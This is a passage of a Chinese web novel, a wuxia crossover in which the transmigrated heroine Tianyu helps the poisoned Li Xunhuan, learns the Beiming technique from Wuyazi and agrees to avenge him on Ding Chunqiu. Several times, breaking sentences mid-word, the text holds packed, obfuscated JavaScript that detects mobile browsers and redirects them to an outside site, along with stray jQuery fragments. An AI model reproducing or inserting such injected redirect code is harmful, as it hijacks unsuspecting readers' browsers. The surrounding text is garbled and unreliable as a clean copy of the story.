天羽恍然:“所以你才会从口外逃到关东来?” 中了这样的毒,若还按原定的行程走,那势必会遭到围追堵截。 群敌环伺之下,哪怕他是李寻欢,也万没有不运功不动真气就能走脱的道理。 他不能留在口外,也不能轻易入关。 最后就改道来了关东。 关东地广人稀,气候恶劣。 冬日里最冷的时候,比口外更冷数倍。 寻常人不会选这种即将入冬的时节入关东,但对他这个一心摆脱追杀的人来说,却是个不错的去处。 只是没想到,他费尽心思避开了要害他的人,最终却在这关东的山林里,因为不忍一个普通猎户丢了性命,还是动了真气。 思及此处,天羽不由得更佩服李寻欢了。 这是真·悲天悯人大善人啊。 不过她还有一个想不通的问题。 “既然你是为了躲仇家才来的关东,那你先前为何还想找人帮你捎信回保定?”她不理解,“你不怕暴露自己的行踪吗?” 李寻欢闻言一怔,脑海中瞬间浮出一道倩影。 他微微阖眼,心中一痛,却是刻意略过了天羽的第一个问题没答,只苦笑道:“从此处去保定,哪怕骑上最好的马,也得跑上二十日,想杀我的人得了消息再赶来,也得二十日,等他们赶到,我应当已经死了。” “到时你们将我的尸骨交出去,我的仇家也不会为难你们。” “说白了,他们想要的只是我的命而已。” 天羽:“……” 敢情你根本没信我们东家有办法请人给你解毒啊! 天羽很无语,也很无奈。 但将心比心,换了她是李寻欢,碰上这种事,也不会对解毒抱太大的希望——毕竟没有希望就不会失望。 她只能换一种方式劝他。 “事已至此,你的信反正是找不到人送了,你就别想那么多了,先等我们东家回来再说,不然他岂不是白跑了一趟?”她说,“最不济,到时死马当活马医,你也不吃亏。” 李寻欢确实如她猜的那般,已不再对解毒抱希望。 对此他并不后悔,只是有些惆怅。 可她说着说着来了这么一句,真是叫他连心底那点对生命所剩无几的惆怅都酝酿不出更多了。 所以他最终只笑了笑,问她:“这铺中可有酒喝?” 东家日日喝酒,这铺子里当然不会缺酒。 天羽大手一挥,给李寻欢送了两坛。 但她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你疯了!”她睁大眼,“我只是这么一说而已,没让你真发给我看!” 他咳了一声,神容平静,道:“你请我喝了这么多天的酒,我别无长物,唯有这一刀,勉强能够礼尚往来。” 天羽一垂眸,扫过他方才放下的酒,面无表情道:“很遗憾,你喝的酒都是我们东家的,我没资格请你,你想礼尚往来,那就等他回来。” 李寻欢:“……” 他无奈地笑了。 这世上的事就是这么奇妙。 从前受过他恩惠、侥幸留下一条性命的人,会因为记恨他而集结他的仇家一起围杀他;萍水相逢、仅在山间短暂合作过一场的人,却比他本人更希望他能活下去。 “好吧,那就等他回来。”他松开刀,重新拿起酒,大饮一口,“只盼他能看在我与他铺中伙计是朋友的份上,莫收我太多酒钱。” “我一路逃亡至此,身上可实在没几个银子了。” 天羽挑眉,眸光熠熠,道:“我们是朋友吗?” 李寻欢歪头瞥她,反问道:“难道不是吗?” 说完又补充,“我这个人行事浪荡,向来只听朋友劝告。” 天羽:“……” “行,那我就交了你这个朋友。”她抿了抿唇,还未彻底长开的英气眉眼里显出一丝笑意,“不过我可有言在先,就算你是我的朋友,该给我们东家付的酒钱,还是要付的。” 5. 吸取内力 天羽本来以为自己已经劝服了李寻欢。 但随着天气一日日转冷,她发现李寻欢表面上答应了她好好等着,实际行动却是完全在摆烂。 他每天一睁眼就开始喝酒,一喝就是一整天。 有时兴致来了,连饭都不吃,就纯喝。 酒品倒是很好,喝得再多,也没失过态。 但这么一通猛喝,对身体绝对弊大于利。 不过半个月的工夫,他已经瘦得形销骨立。 天羽初见他时,只觉他容貌俊美,气质出尘,好似精怪,现在再看他瘦得凹进去的脸,已经全无这种感觉。 “你不是嫌这酒不好喝么?”她实在理解不了这个酒鬼,“怎的还越喝越多了?” 李寻欢一边喝一边道:“苦酒也有苦酒的滋味。” 天羽:“可你再这么喝下去,身体就彻底坏了啊!” 李寻欢便笑而不语。 她明白那笑的意思,无非是“这身体本来也好不了了”。 天羽:“……” 诚然站在他的角度,现在是一个接近必死的局面,但也没必要自己给自己加速吧? 作为一个曾经在娱乐圈摸爬滚打,恨不得抓住手边一切机会往上爬的人,天羽实在无法认同李寻欢的行为。 但两人聊过这么多次,该劝的话她已经全劝过了。 李寻欢不肯听,她说再多也无益。 不如来点实际行动。 于是从这日开始,她便不再随便给李寻欢酒了。 想喝酒? 可以,替我们铺子做工来换。 铁匠铺因要打铁,得让火炉一直燃着,所以就需要源源不断添柴。 入冬之后,后院各处,也需生火取暖,便更需要木柴了。 天羽就让天勇专心劈柴制炭,把打铁的活交给她和李寻欢。 李寻欢:“……” 他是个体面人,很有寄人篱下的自觉,面对这种要求,只能点头。 他年少成名,轻易考中进士,点了探花,后来行走江湖,也是不费吹灰之力,就成了纵横武林的高手。 在很多人,包括他自己看来,他应该是什么都会的。 但他确实不会打铁。 未免自己到时给她添乱,他想了想,还是在答应之后,主动与她坦白了这一茬。 天羽并不意外,只道:“无妨,我可以教你。” 李寻欢:“……好。” 他现在不能动用内力,抡锤锻铁,就得纯靠自身的力气。 偏他是个书生,不动真气的情况下,力气实在不怎样。 至少不如从小在铺子里帮工的天羽。 两人配合开打第一天,不过半个时辰,他就累得满头大汗,头晕眼花。 然后午饭多吃了三个馒头。 天羽:可以,锻炼完吃快碳,以前在娱乐圈大家都是这么练肌肉的。 事实证明,不论古代现代,人这个物种,习性都一样。 只要把体力消耗一空,就没工夫想东想西了。 李寻欢自从开始学习打铁,酒瘾就好了不少,充其量在睡前喝上一口。 与之相反的是他的饭量。 之前他每顿饭也就稍微沾个筷子,吃三口都算多的;现在开始打铁,为了能连续抡锤,必须好好吃饭,他便越吃越多了。 十日下来,他的饭量从天羽的五分之一,变成了比天羽还多一倍。 对此,天羽的评价是:总算像个成年男人了。 虽然这成年男人因为身中剧毒,还是不可避免地虚弱了下去,但规律的体力劳动确实减缓了他虚弱下去的速度。 天羽一开始觉得很神奇,后来仔细一想,他中的天宗秘毒,本来也不是那种见血封喉,一发作就死的毒-药,那原理大概率就是一点点削弱身体机能,直到无法维持生命体征? 如果是这样的话,她逼着他打铁锻炼,确实能让他死得更慢一点。 认识到这一点,她又默默给李寻欢增加了工作量。 理由也很好找。 之前打得少,是因为他没学过打铁,不熟练,没办法,现在他逐渐上手了,每天多打几件,那也是应该的。 循序渐进嘛。 李寻欢能说什么? 只能说好。 这么打着打着,关东彻底入了冬。 说一个月后就回来的东家,却没能在约定的时间出现。 天羽很意外。 在她印象里,东家虽然是个吊儿郎当的人,但说出的话,从来都能做到,否则她也不会对他如此信任。 结果这次摊上这么大的事,他反倒失了约,当真叫她意想不到。 同时也有些不好意思面对李寻欢。 但再怎么不好意思,该说还是要说的。 “我们东家不是那种随意夸下海口的人。”她让李寻欢再等等,“大概是路上出了什么意外,耽搁了回来的时间。” 李寻欢明白她的意思,点头笑道:“你放心,我等着就是。” 这一等,便又等了十来日。 期间李寻欢照旧打铁。 人因为中毒脸色一日差过一日,力气倒是比初学时大了许多,甚至肩也宽了。 东家终于带着人冒大雪赶回那日,他自觉大限将至,一边喝酒,一边跟天羽感慨:“没想到我死之前,还学会了打铁。” 他是笑着说的,笑得还挺高兴。 但天羽听着,心里很是难受,一时不知该说什么,只好给自己倒一杯酒,陪他一起喝。 这是她第一次喝酒。 酸苦的味道划过喉咙,叫她吞也不是,吐也不是。 “抱歉。”她低声说,“我没想到东家会失约。” “你不是说了吗,他不是那种随意许诺的人,定是路上出了意外。”他的语气很平静,“何况我中毒一事与你们无关,你根本不必抱歉。” 便在此时,前头传来“砰砰砰”的拍门声。 天羽瞬间起身,奔出后院。 “东家!”她用最快的速度开了门,把人引进铺中,“你可算回来了!” 风声呼啸,大雪漫天,一片呜呜中,她似乎听到谁啧了一声。 但她没多想。 等东家带着人进到后院,她才发现,跟在他身后进来的那个人,背后还背着第三个人。 院中灯火幽微,她看不清这两人的模样,只能依稀辨认出那个被人背着的人姿势很奇特。 影子打在雪地上,看起来分外诡异。 天羽看得心中一紧,正欲移开目光,就见那姿势奇特的人猛地抬头,一双清凌凌的眼朝她望来。 下一刻进入屋内,眼前骤然明亮起来,她也看清了这人的相貌。 竟是个容色如玉的俊美青年。 天羽:“?” 怎么又来一个男狐狸精长相的? 她心里这么嘀咕着,就听到东家开了口。 东家见到了在屋内坐着的李寻欢,非常惊讶,道:“你中毒多日,竟一点没瘦?” 李寻欢:“……” 天羽:“……” 咳,胖的人天天撸铁会瘦,瘦的人天天撸铁会壮啊。 “您就是天羽和天勇的东家?”短暂愣神后,李寻欢便起了身,朝东家行了一礼,“在下李寻欢,见过前辈。” 听到他的名字,东家没什么反应,但边上那个背着个美青年的中年人却是睁大了眼:“李寻欢?你是小李探花?” 李寻欢:“……是。” “没想到以你的功夫,也会遭人暗算。”中年人一叹,“虽说天宗秘毒叫人防不胜防,但毒-药这种东西,总要吃下去,才能发作。” “想必你也是信错了人,才被骗着服了毒,落到这般田地。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14490239|154688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>中年人仿佛还有很多话要感慨,天羽这个急性子却有点懒得再听了,忙道:“还请前辈先替他解毒。” 中年人闻言,偏头打量了她一眼,而后快步上前,开始为李寻欢诊脉。 也是到了这个时候,天羽才发现,那个被他背在背上的青年,之所以姿势奇特,是因为双腿瘫痪,发不了力,只能晃晃悠悠地垂在那里。 她顿时愣住。 容貌俊美的瘫痪青年见状,却朝她一笑。 他姿势奇特,体态扭曲,可这么笑起来,又有一股寻常人难以企及的神采飞扬。 看得她一怔。 不多时,给李寻欢诊脉的中年人松了手,朝天羽和东家的方向看来。 目光交汇,一起生活了十年的两人竟是异口同声:“如何?能解吗?” 中年人点头:“能。” “但这毒在他的经脉内沉聚了太久,要想解毒,必须破而后立。” 天羽:“破而后立?” 东家到底比她见识广,立刻反应过来,道:“难道要先废了他的内功,才能解毒吗?” 中年人叹道:“此毒狠辣之处,正在于此。” 天羽不由得朝李寻欢看过去。 灯火煌煌,照得他那张苍白的脸宛如透明。 这太残忍了,她忍不住想,废去内功不是化去内功,前者是会损伤经脉的。 也就是说,李寻欢如果想要解毒,只能得到一具健康但再也无法达到目前武学高度的身体。 别说李寻欢了,她都很难接受! 她忍不住向那中年人确认:“就没别的办法了吗?” 中年人沉默不语。 这时李寻欢笑了。 他是对她笑的,一边笑一边说:“你好像比我更舍不得我这一身内功。” 天羽:“……我就是觉得不该是这样的。” “你这样的人,不该是这种结局。” 你是纵横武林的小说男主,是顶级杰克苏啊?怎么能年纪轻轻就经脉受损呢! 这剧情不合理啊! 李寻欢还是笑:“可若没有你逼着我日日打铁,我恐怕都活不到今日。” 天羽:“……” 我那是坚信你肯定有救。 就在她郁闷不解到极点的时候,沉默了好一会儿的中年人,忽然抬眼道:“其实还有一个法子,但那法子很凶险,且凶险之处不在他,而在帮他的人,你愿意试试吗?” 天羽立刻追问:“什么?!” “我方才说,他中的毒在经脉里沉聚了太久,必须破而后立,但这毒很诡异,只要内力运行,真气在体内游走,就能要他的命,所以他不能自己化去功力,只能借助外力。”他说到这里,一双眼睛盯紧了天羽,缓缓道:“借助外力,除了直接废掉他的功力,其实还能另找一人,将他的一身内功吸出来。” 天羽:“……吸、吸出来?” 是那个什么吸星大法吗? 她在哪个电视剧里看过来着? “是,吸出来。”中年人顿了顿,眼神微烁,“我这里有一套功法,练至入门,便能吸取他人内力,你若想帮他,不妨试着练一练。” 这听起来似乎两全其美,可天羽还没忘记,方才他说,这法子很凶险。 “这套功法很难练吗?”她于是问。 中年人果然点头:“很难。” “它需要你完全放弃自己以前练过的内功,否则就会控制不了体内的真气,癫狂呕血,百脉尽废,从此再无法习武。” 天羽:“所以我得先自行化功?” “不止。”他摇头,“还得彻底忘记你从前所修内功,否则一旦潜意识照着原来的内功练起来,你就完了。” 天羽懂了。 这确实凶险,毕竟人最难控制的,就是自己的潜意识。 所以,她要为了救李寻欢试一试吗? 6. 北冥神功 天羽还在思忖,李寻欢却先开了口。 只见他重新起身,朝中年人一拜,道:“前辈既有办法在不损他人的前提下为我解毒,那直接废去我的内功,才最稳妥。” “故晚辈斗胆,请前辈助我一臂之力。” 很显然,他不希望天羽为他冒险。 他还很年轻,并没有豁达到可以随意舍弃自己的功夫,可若是让他在自己和朋友之间选一个,他也绝不可能选别人。 否则他就不是李寻欢了。 “你想好了吗?”中年人挑眉,“你这一身内功若是废去,你的小李飞刀,恐怕就再不能例无虚发了。” 李寻欢语气坚决:“我想好了。” 按理说,他这个当事人都表了态,作为要替他解毒的大夫,中年人也不必再犹豫了。 可中年人并没有立刻应下,反而又看了天羽一眼。 天羽立刻意识到,其实他就是希望她能练他方才说的那套内功,不然没道理是这个反应。 思及此处,她不禁眯了眯眼。 果然,中年人沉吟片刻,便又对她道:“你呢?你也想好了?” 李寻欢见状,当即想要再开口,但天羽先他一步,仰首道:“我可以答应前辈,练你口中那套功法,但是我希望前辈跟我说实话。” 中年人先是一喜,再又一愣,道:“我说的本就是实话。” “但你没说全。”天羽毫不客气地拆穿了他,“你想让我练那套功法,肯定不只是为我这朋友解毒用,不是吗?” “我希望你能告诉我,你行此举的真正用意。” 话音落下,屋内一片寂然。 而她一身黑衣,挺着脊背,身姿似剑,直直地望向那个被东家请回来的中年人。 眼神没有一刻避让。 中年人大约是没料到她会这么当面揭破自己的心思,张了张口,一时无言。 气氛尴尬之际,屋内忽的响起另一道声音:“你很聪明。” 这声音低沉又沧桑,听起来比那中年人还要老上许多,当真是吓了天羽一跳。 等她意识到其主人正是中年人背上的瘫痪美青年时,她更是不敢置信。 他看起来分明才三十来岁!怎么会有如此苍老的声音? 美青年却再度勾唇,朝她一笑,道:“你既愿意一试,那便先练,若能顺利入门,我必将你想知道的事,尽数告知于你。” 天羽:“当真?” 美青年点头:“自然当真。” “好,那你把心法口诀告诉我。”她很干脆,“我这就开始练。” “你倒是个急性子。”美青年笑道,“但你要练的这门功夫却是急不来的,今日天色已晚,不宜开练,你且早些休息,等明日卯时,我再教你口诀。” 穿越之后玩不了手机,没什么娱乐可言,天羽的作息自然比上辈子混娱乐圈时健康多了。 卯时起床,对她来说很容易。 于是点头应下,应完又问:“按两位的估计,我若能顺利入门,再练多久能吸人内力?” 美青年想了想,道:“以你的资质,大约十日。” 天羽:“那这十日内,你们二位,能确保我朋友的性命吗?” “能。”这次是中年人开的口,他掷地有声,“有我在,他就死不了。” 天羽听完他的话,偏头看了一眼东家,得到东家肯定的眼神后,才彻底放了心。 隔天一早,她准时起床。 推开房门,那远道而来的中年人和美青年,果然已在院中等她。 她便上前请教。 美青年却道此时离卯时还有一刻多钟,不必着急。 “什么意思?必须到卯时才能练吗?”她问。 “是。”他点头,“练此功,须得每日用心修习三次,分别在卯午酉三时,虽稍有偏差不打紧,但最好还是按定好的时辰来。” 天羽:“……” 怎么还必须定时定点啊?整得跟拜邪教一样…… 她这么腹诽着,别开了眼。 那美青年却似来了谈天的兴致,又道:“你就这么答应了练功,不怕练出岔子吗?” 天羽呵呵一笑:“那你们呢?” “知道很可能会练出岔子,还让我练?” “……” 行,被反将一军。 其实天羽也不是完全不怕,但出于对东家的信任,她并不觉得这两个特地跑到关东来的人是坏人。 既不是坏人,那照着他们的意思大胆一试也无妨。 如果能顺利救下李寻欢那最好,不能的话,她的损失也就是失去武功,不能再亲自报仇。 报仇这种事,本来也不是非得亲自去做的,她还这么年轻,大可以想别的办法。 当然,最重要的原因其实是,作为一个曾经的女演员,为了不因对角色过度共情影响工作,她其实很擅长迅速从角色身上抽离,不让上一部戏养成的习惯影响自己。 换句话说,她有信心控制自己的潜意识,不再按从前的修炼方式来积攒内力。 先前没有立刻答应,比起犹豫,更多的其实是想给自己挣一点话语权。 …… 卯时正,她终于化去自己内功,依照美青年给的口诀要义,修炼了起来。 这口诀听起来玄之又玄,不像武学功法,倒像修道的,但在美青年的指点下,她竟是只用了一个时辰,就成功在丹田气海处,修出了真气。 天羽都没想到会这么顺利,一睁眼晨光熹微,对上那两人紧张不已的目光,她还以为是自己练错了。 “我练得不对吗?”她问。 “你可有不适?”中年人一脸急切。 “没有啊。”她眨眼,“不过这功法运气,为何是自少商至云门?与我原先所练完全相反。” “它既能吸人内力为己用,那自然与寻常功法不一样。”美青年答道,“你练得很好,等午时继续便是。” 天羽:“行。” 功都散了,当然要继续练。 之后几日,她便严格按照美青年的要求,于每日卯、午、酉三时,勤练此功。 一开始天勇和李寻欢都很担心,生怕她练着练着,就突然癫狂呕血了。 但三日后的戌时,她练完功起身,只觉浑身畅快,格外想练刀,便在雪中抽刀,连练了二百来招。 李寻欢在廊下看着她练,初时不觉有异,看着看着,不由面露惊色。 一个三日之前刚化功的人,出刀的速度,竟比化功之前还快? 她这练的到底是什么内功?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14490240|154688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>天羽亦觉得神奇。 她完全没想到,这新练的内力会这么好用。 甚至她有一种感觉,就是她如果再练下去,或许有朝一日,都不需要手里有刀,便能使出持刀而斩的效果。 “所以,我这算顺利入门了吗?”第四日一早,她问那传授心法给她的美青年。 对方让她上前来,伸手抓住她腕一探,道:“你已练成三条经脉?” 天羽:“对啊,一天一条?” 第一天是手少阴肺经,第二天是手厥阴心包经,第三天手少阴心经。 因为脉络清晰,条理分明,练起来甚至比她之前从东家那里学的内功更顺畅。 “我需要把十二正经和奇经八脉都练完吗?”见他不答,她又追问道。 “……不必。”他那波澜不惊的苍老声音里,竟显出一丝无奈,“实际上,你只需练成一条,便能吸走你朋友的内力了。” 天羽:“……” 大爷你不早说?! “那还等什么,我这就去吸了他内力。”她说着,转向一旁陷入呆滞的中年人,“等我吸完他的内力,还请前辈速速为他解毒。” 中年人看着她,神色复杂,但最终还是叹着气做下了保证。 “你放心就是。”他说,“我既应了你,便一定会为他解毒,只是他解完毒,一身内功,只能从头来过了。” “这无妨,只要经脉不损,他定能重新站上武林之巅。”天羽对李寻欢很有信心。 但话音刚落,教她内功的美青年就噗嗤一声笑了出来。 “你笑什么?”她挑眉。 “他的飞刀或许确实例无虚发,但只要有你在,他就不可能站上武林之巅。”他道。 天羽:“……” 从北冥神功的功效来看,确实,但她又不会闲着没事去吸别人内力! 可能是因为确认她已经入门,不会练出岔子,这一日帮李寻欢吸完内力后,非得让她学这套功法的美青年,终于与她坦白。 “我让你练这北冥神功,确实另有用意。”他说,“你如今练成了三条经脉,想必已经体会到这北冥神功的妙处。” 天羽想起昨晚练刀时的感受,诚实地点了头。 习武五年,分辨功法好赖,于她而言已非难事。 “这只是开始。”他继续道,“等你将二十条经脉尽数练成,你的内力便能兼容天下一切心法修出的内力,吸了旁人功力入体,只如川河汇海,万不会动摇海之根基。” “除此之外,你还能以北冥真气护体,在交手时反震敌人,可谓无往而不利。” 天羽听到最后,忍不住打量了他一眼。 出于礼貌她没开口,但那眼神的意思非常直白。 ——既然这功法如此厉害,精通它的你又为什么会落到如此境地? “你还是直说吧。”她啧了一声,“你让我练这个什么北冥神功,到底有什么目的?” “……” “不会是学成之后帮你报仇吧?” “???” “……别这么看着我,其实挺好猜的。” 她穿越前拍过的电视剧里,就有不少这样的桥段。 她简直不要太熟。 何况他这副残疾样,一看就是被人害了。 7. 万中无一 声音苍老的美青年自称无崖子。 被天羽识破目的后,他便将自己的经历尽数告诉了她。 其实概括起来也很简单,就是他前半生十分顺遂,一路将武功练到了超凡入圣之境,自以为在江湖上已无敌手。 结果一朝不慎,被自己的徒弟算计,摔下悬崖,成了残废。 徒弟天资卓绝,武功高超,在武林中鲜有敌手。 因此,他死里逃生后,根本不敢露面。 “好在我大徒儿星河将我从崖底救了出来,装聋作哑,立下誓言,将我那逆徒骗去了西方星宿海,之后又将我从大理国带到中原。”他说到这里,长叹一声,才继续道,“但躲躲藏藏,终非长久之计。” 天羽这才知道,那个与他形影不离的中年人,原来是他的大徒弟。 名字倒是挺好听,叫星河。 “你这两个徒弟的武功差距很大么?”她问。 无崖子点头:“差距极大。” “我那逆徒本就聪颖,又醉心武学,一心成为高手,星河则与他截然相反,自小兴趣广泛,一身所学,皆为杂学,根本不是他的对手。当时在崖底能保全性命,也是借了奇门阵法之利。” “不过星河的医术独步江湖,你的朋友得他诊治调养,必能无虞。” “他是东家请来的人。”天羽说,“我没担心过这个。” 无崖子闻言,忽然斜睨了她一眼,道:“你可知你这东家的身份?” 天羽扁嘴:“不知道。” 答完这句,不等他再开口,她又迅速补充道:“我也不想知道,你若知道,不必告诉我。” 无崖子:“……” 他很费解:“为何?” “我不过是一个在他铺中帮忙的伙计,对他的过去,我没必要知道太多。”她很坦然,“何况他不说,肯定有他的理由。” “我若从旁人那里知道了,说不定还会自添烦恼。” 退一步,就算她真想知道,她也可以直接问东家本人,而不是在这里抱着听八卦的心态,从别人口中知晓。 无崖子顿时失笑:“你小小年纪,看得倒是通透。” 天羽心想那当然了,换了你在一个全是人精的圈子里当十年不上不下的糊咖,天天被合作方看人下菜碟,你也会通透的。 通透不了人,多半都得精神病了。 腹诽按下不表,该聊的还是得聊。 “所以你的仇人就是那个算计你的二徒弟?”她向他确认,“他叫什么?” 无崖子又叹一声,道:“他叫丁春秋。” 天羽:“?” 等等,丁春秋? 这名字好耳熟,她一定在哪里听过。 “五年前,他将我打下山崖,又仗着武功远胜星河,向星河逼问我派武功秘笈所在,星河诓他在星宿海,他便迁居去了西域。”他开始详细给天羽介绍自己的仇人,“这几年他在西域创立了星宿派,将半个西域揽至麾下,烧杀抢掠,无恶不作。” “近一两年来,他的恶名,更是传遍整个武林。” “他门下的弟子称他星宿老仙,中原武林则称他为星宿老怪。” 听到“星宿老怪”这四个字,天羽终于彻底想起来,为什么丁春秋这个名字,让她如此耳熟。 这他爹的,天龙八部的反派啊! 虽然她已经忘了天龙八部的具体剧情,但她上辈子刚入行的时候,曾经去一个试图翻拍这部经典武侠作品的剧组里试过戏。 如果她没记错的话,当时她想争取(但没争到)的角色叫阿紫,是一个有点病娇风味的少女,而阿紫的师父,就是这星宿老怪丁春秋。 此人喜怒不定,杀人如麻。 是个货真价实的大反派。 天羽:“……” 真是见了鬼了,她穿的不是小李飞刀吗,怎么还有天龙八部的事? 大概是因为她在这一刻没能完全遏制住情绪波动,端坐在廊下的无崖子便误会了。 “他虽厉害,却没学到我派的正统武功。”他开始谆谆善诱,“你如今学了北冥神功,只要勤恳修习,将来必能胜过他,替为师报仇。” 天羽本来还没从听到星宿老怪名字的震惊里缓过来,但听他说着说着,忽然来了一句“为师”,顿时嘴角一抽。 “等等。”她立刻纠正他的说法,“我没拜你为师吧?” “你既学了我逍遥派的内功,便是我逍遥派的弟子。”他自有一套说辞。 “那我还学了我们东家的刀法呢。”她不以为然,“先来后到,我也该是他的弟子。” 无崖子便笑道:“你方才可不是这么说的。” “你方才说的是,你不过是一个在他铺中帮忙的伙计。” 天羽:“……” 大意了,自打脸。 “那我也不拜你为师。”她直接不接他的话茬,只说自己的,“我承认北冥神功很厉害,但咱们打开天窗说亮话,练这门功法,风险实在不小,这点你承认吗?” 无崖子表示承认。 这着实没什么不好承认的。 “我愿意冒着风险练这门功法,是为了帮我的朋友。”她继续道,“而你将它传授给我,是想要我将来为你报仇。” “鉴于我确实帮到了我的朋友,那作为交换,将来用它为你报仇,我定不在话下。” “比起成为师徒,我觉得我们之间还是维持这种平等的交易关系更好。” “你说呢?” 她特地在“平等”二字时咬重,为的就是提醒他,从头到尾,都是他先盯上了她,而她其实不欠他什么。 既然不欠,那何必给自己加一层师徒关系的束缚? 她又不是丁春秋那种会欺师灭祖的人,真拜师了,少不了要尊师重道,孝敬长辈。 那跟给自己找个爹有什么区别? 没必要。 实在是没必要。 无崖子完全没想到她会是这个态度,一时大为惊奇:“你如此聪慧,难道猜不到,除了北冥神功,我逍遥派还有许多精妙武学?” “所以呢?”她挑眉。 “所以只要你拜我为师,便能学到更多神功。”他还是想收下这个徒弟,“譬如我派的天山折梅手,虽只三路擒拿三路掌法,却包涵逍遥武学经义,天下间所有的招式,都能化入其中。” 他介绍完天山折梅手,又想介绍别的,但天羽没叫他说下去。 她直接打断了他,道:“我是刀客。” 内功可以改换,甚至化功了从头再来也不是什么大事,但外功招式,有东家教她的刀法就够了。 那个什么天山折梅手或许真的很厉害,但既是由掌法和擒拿法组成的,就不适合她。 她没兴趣学。 她是刀客。 她不会让自己赤手空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14490241|154688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拳。 无崖子:“……我明白了。” 听出他语气里的作罢之意,天羽也松了一口气。 之后她主动向他保证,等她有能力杀丁春秋时,她一定会动手。 只是—— “我还有个问题没想明白。”她看着无崖子,有些困惑地说,“你为什么会选我替你报仇呢?” 作为一个曾经被徒弟背刺的人,无崖子如今行事应当会很谨慎才是。 结果两人只见了一面,他就看上了她,又是传授功法,又是坦白过往的。 这在她看来很没道理。 无崖子沉默片刻,才低声道:“星河说,二十年前,他初入江湖时,曾因自己的医术,遭人设计陷害,差些丢了性命。” “当时你东家与他萍水相逢,却肯豁出自己的性命救他。” “可见你这东家人品贵重,实乃世间难得的英雄好汉。” “你是他收养的人,品性应当差不到哪里去,而且……” “而且什么?”天羽觉得他说到最后语气很奇怪,吞吞吐吐的,仿佛很不好意思。 可他都差点强买强卖让她练功了,还能不好意思什么? “而且你生得十分俊美。”无崖子道,“如此万中无一的相貌,足以叫当年帮助丁春秋一起害我的人倒戈。” “他二人若是联手,谁都无法替我报仇。” “那人行事随心,平生最好貌美郎君,她见了你的脸,必定十分喜爱。” “你得了她的喜爱,哪怕不能说服她与你一起杀丁春秋,也绝不会让她再站到丁春秋那边去。” 天羽大惊失色:“……啊?!” 这是让她必要时候搞一下色/诱的意思吗? “你口中这个人……是男是女?”她忍不住问。 无崖子乜了她一眼,那表情仿佛在说:你为什么会有这种疑惑? “自然是女子。”他说,“是我师妹。” 天羽:“……” 草。 “你放心,我师妹生得极美。”见她表情一言难尽,他又补充道,“且我们逍遥派弟子,只要功力不散,容颜便逝得极慢。” “我若不说,你恐怕也猜不到,我今年已有六十八岁。” “她比我还小五岁,又不曾受伤,如今应是一位风华正盛的美人。” 天羽心想可我过了年才十五啊,你让十几岁的人去勾引六十多岁的人,这操作真的没问题吗? 还有更重要的—— “我不是男子。”此时此刻,她已不止嘴角抽搐,整张脸都有些难以控制,“恐怕无法得到你师妹的喜爱。” 无崖子差点以为自己听错,霎时愣在当场。 好一会儿后,他才不可置信道:“你是女子?” “我以为你探我脉时就知道了。”她其实也没想到他竟不知道她的真实性别,“原来探不出来的吗?” 无崖子脸都黑了:“……当然探不出来。” 男女经脉确实有一定差异,一般来说,都是男子的经脉更显粗壮,女子则相对细弱。 她的经脉十分有力,容貌又是英气多过柔美,宽肩窄腰,身量高挑,他自然完全没有怀疑她的性别,只当她是一个俊美的少年郎。 “那你现在知道了。”她面无表情,“你最好想个别的法子,阻止你师妹与丁春秋再联手。” 她反正是没这功能! 8. 家传宝刀 得知天羽没办法去勾引自己师妹后,无崖子很是失落了几日。 天羽则懒得理他。 她忙着练功。 她之前吸了李寻欢的全部内力,虽因北冥神功之特性,并没有对身体造成影响,但她毕竟重修内功没几日,体内忽然多了这么多内力,总得静修一番,才能熟悉这些功力,从而彻底化为己用。 所以无崖子失落、苏星河给李寻欢调养身体的这几日,她连打铁的活都停了,除了吃饭睡觉,只做一件事,那就是练功。 她照着无崖子的叮嘱,于每日卯午酉三时潜心打坐,修炼北冥神功。 其余时间则都用来练刀。 必须承认的是,练了北冥神功后,再练东家教她的刀法,变得轻松了不少。 北冥真气不仅能护体,也能让她握刀的手变得更稳、斩出的刀风变得更劲。 实在玄妙非常。 她对此很满意。 但无崖子不太高兴,每次看她练刀,都要吹胡子瞪眼。 用他的话说就是北冥神功是以内力为本,而非招式,她学了这门功法,又吸到了李寻欢一身内力,就该好好将这些真气贮藏在体内,以便日后对敌使用。 “结果你都用来练刀了。”他一脸恨铁不成钢,“你这女娃,真是暴殄天物!” 